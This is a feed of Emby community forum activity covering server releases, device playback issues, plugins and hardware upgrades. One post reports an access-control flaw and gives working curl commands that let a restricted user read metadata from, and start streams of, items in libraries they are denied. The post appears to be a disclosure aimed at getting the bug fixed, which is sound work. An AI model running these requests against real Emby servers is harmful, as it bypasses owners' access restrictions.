Jump to content

All Activity

This stream auto-updates

  1. Past hour
  2. All good!
  3. ebr

    New Emby Server 4.10.0.40 Released

    Hi. You can have it show only on TV layouts.
  4. Emby doesn't enforce library ACLs on direct-by-ID lookup. I have a user named "deleteme2" that doesn't have access to my Movies library, yet this user can query items in the Movies library just fine. Here's how to replicate it in Linux through CLI: # leading space keeps this out of shell history if HISTCONTROL=ignorespace/ignoreboth is set # Set the Emby URL, and username/password of user that doesn't have access to the library item EMBY_URL="http://emby.url" DENIED_USERNAME="deleteme2" DENIED_PASSWORD="password" # Get a real access token from the user curl -s -X POST "${EMBY_URL}/Users/AuthenticateByName" \ -H 'Content-Type: application/json' \ -H 'X-Emby-Authorization: Emby Client="curl-test", Device="curl", DeviceId="curl-test-device", Version="1.0.0"' \ -d "{\"Username\":\"${DENIED_USERNAME}\",\"Pw\":\"${DENIED_PASSWORD}\"}" | tee /tmp/auth.json | jq . DENIED_TOKEN=$(jq -r '.AccessToken' /tmp/auth.json) DENIED_USER_ID=$(jq -r '.User.Id' /tmp/auth.json) # Set the ITEM_ID of the media item in a library the user doesn't have access to ITEM_ID="1234567" # Get metadata related to the item curl -s -o /tmp/getitem.json -w '\nHTTP %{http_code}\n' \ "${EMBY_URL}/Users/${DENIED_USER_ID}/Items/${ITEM_ID}?Fields=SeriesName" \ -H "X-Emby-Token: ${DENIED_TOKEN}" cat /tmp/getitem.json | jq ######################################### ### ### EXAMPLE OUTOUT ### HTTP 200 { "Name": "Family Guy Presents: Blue Harvest", "OriginalTitle": "Family Guy Presents: Blue Harvest", "ServerId": "REDACTED", "Id": "1234567", <...snip...> We can go further and start a stream in the library that we shouldn't have access to: curl -s -o /tmp/playbackinfo.json -w '\nHTTP %{http_code}\n' \ -X POST "${EMBY_URL}/Items/${ITEM_ID}/PlaybackInfo" \ -H "X-Emby-Token: ${DENIED_TOKEN}" \ -H 'Content-Type: application/json' \ -d @- <<EOF { "UserId": "${DENIED_USER_ID}", "DeviceProfile": { "MaxStreamingBitrate": 120000000, "DirectPlayProfiles": [ {"Container": "mp4,m4v", "Type": "Video", "VideoCodec": "h264,vp9,av1", "AudioCodec": "aac,mp3,opus,flac"} ], "TranscodingProfiles": [ {"Container": "ts", "Type": "Video", "VideoCodec": "h264", "AudioCodec": "aac", "Protocol": "hls", "Context": "Streaming"} ] }, "AutoOpenLiveStream": false, "StartTimeTicks": 0, "EnableDirectPlay": true, "EnableDirectStream": true, "EnableTranscoding": true, "AllowVideoStreamCopy": true, "AllowAudioStreamCopy": true } EOF cat /tmp/playbackinfo.json | jq . ######################################### ### ### EXAMPLE OUTOUT ### HTTP 200 { "MediaSources": [ { "Chapters": [ { "StartPositionTicks": 0, "Name": "Chapter 01", "ImageTag": "b2f1fb884f03d1be088b4842ca0f34c7_0", "MarkerType": "Chapter", "ChapterIndex": 0 }, <...snip...> ], "Protocol": "File", "Id": "mediasource_1234567", "Path": "/media/movies/Family Guy Presents Blue Harvest (2008) [imdb-tt0888817]/Family Guy Presents Blue Harvest (2007) [Bluray-1080p][AC3 5.1][x264].mp4", "Type": "Default", <...snip...> "TranscodingUrl": "/videos/1234567/master.m3u8?DeviceId=curl-test-device&MediaSourceId=mediasource_1234567&PlaySessionId=REDACTED&api_key=REDACTED&VideoCodec=h264&AudioCodec=aac&VideoBitrate=119360000&AudioBitrate=640000&AudioStreamIndex=1&SegmentContainer=ts&BreakOnNonKeyFrames=False&TranscodeReasons=AudioCodecNotSupported", "TranscodingSubProtocol": "hls", "TranscodingContainer": "ts", "ReadAtNativeFramerate": false, "DefaultAudioStreamIndex": 1, "ItemId": "1234567", "MimeType": "video/mp4", "TranscodingMimeType": "video/mp2t" } ], "PlaySessionId": "REDACTED" } embyserver(6).txt
  5. ebr

    Firestick DTS issue

    Here's what it looks like on the Shield but the Fire may not have this level of control:
  6. TugboatBill

    Debian 13 not supported?

    I've been buried in work and got a few minutes today to drop by. Would this change be in 4.10.0.40?
  7. Your spotlight feature is awesome but tbh. i don't really want to maintain another plugin as i have a lot on my hands already. I will look into getting this to work again in case it doesn't any more but after that it's low priority (sorry!!).
  8. ebr

    Firestick DTS issue

    What options did it give you in the advanced audio? Can you show a screenshot?
  9. Feel free, you specially can take any code that you want if you'd like to release something like this as plugin.
  10. I made some changes to it after that that i would like to keep and never handed over. But nice to know, if i don't find it then the one in the PM can be used as backup.
  11. It's in our PMs.
  12. Luke

    7.2+ 64-bit link broken? (nevermind)

    Hi, thanks for following up.
  13. Luke

    New Emby Server 4.10.0.40 Released

    I think most users would not want to have to configure this for every single device.
  14. djmbrfc

    Firestick DTS issue

    Also Emby Samsung TV app works and Emby for Windows works
  15. I believe we talked about this before and i edited a plugin of mine to actually do that and even change settings for the spotlight. Will see if i can find the code somewhere (no promises).
  16. Teddyknuddel

    Direct File Access - Exoplayer

    @rbjtech But why are you still using the Shield with its outdated Android 9 if it’s of no use? Surely there’s no reason not to upgrade to the improved SHIELD Experience 9.2.4, which now comes with a whole host of improvements?
  17. I keep the code on GH quite actual with the stable server releases when I have time. I've seen so much cool plugin implementations including altering system files via plugin. But atm I've absolutely no time to dive into this rabbit hole due to work and family. Long story short, I would love to see my Spotlight script integrated into some kind of plugin solution so no one needs to edit index.html and insert the js file manually. So if you and/or @ginjaninja @Blueskies278would make this possible anytime, you would be more than welcome.
  18. crashkelly

    The upgrade time has come

    Thanks for the reply. Not really too worried about it. It either works or it doesn't and if it is doesn't then I will deal with that if it happens. Cheers
  19. RanmaCanada

    The upgrade time has come

    It will actually be pretty ok. The newer versions of Windows do detect hardware changes before booting into the main OS and will load the required drivers. If OP is really worried, they could attempt to load into safe mode and remove all hardware. In my experience, it's no longer the headache it once was to do a system transplant. I've swapped out many older machines with very little headaches. The largest change was from a Haswell system to a Ryzen 7 5800G.
  20. I haven't checked but, the one just added to Emby sadly looks like it just uses the background picture for videos. If it used it's own i could get EmbyIcons to edit it rather easy but using the background one makes it so it would drawn on that as well. Still like the feature.
  21. alucryd

    Problems with 4.9.5.0

    Trying to run it manually will tell you if you're missing sth. In doubt, you can try our dep install command here, it should be exhaustive: https://emby.media/freebsd-server.html Unfortunately I can't even install a 13.5 jail on my TrueNAS Core VM because it's EOL, so I can't reproduce.
  22. Works with 4.10.0.40.
  23. Also works with 4.10.0.40, in case someone else is as disappointed from the built in Focus widget like me.
  24. sh0rty

    New Emby Server 4.10.0.40 Released

    Thanks for the update! But why the heck is the Focus widget on homescreen a per user setting instead of a device setting? Looks kind of ok on Web but looks horrible on Android mobile. Activate it on Web while disable it on Android, not possible. And I'm not even talking about the visual widget aesthetics in general, it fits the rest of Emby's design choice of having no appealing design. And why there is no auto slide? I had high hopes that some ideas from proof of concept thread find their way into the stable version. Making it look nice via CSS -> possible, making this work for every user on Mobiles -> not possible as always. Oh my....this looks like a fast approach that never was finished.
  25. Today
  26. No, this was the first time this ever occurred. For the first several years I manually installed the emby updates but for the last 3-5 years emby has been set to automatically update, never had a single issue until this recent update. Hopefully it was just a one time glitch.
  27. BillybobBilly

    7.2+ 64-bit link broken? (nevermind)

    Is it just me or is this link broken? https://emby.media/emby-server-synology72_{version}_x86_64.spk Edit: Nevermind. Must have been on my end. I tried again and the link worked correctly on the synology-server page
  1. Load more activity
×
×
  • Create New...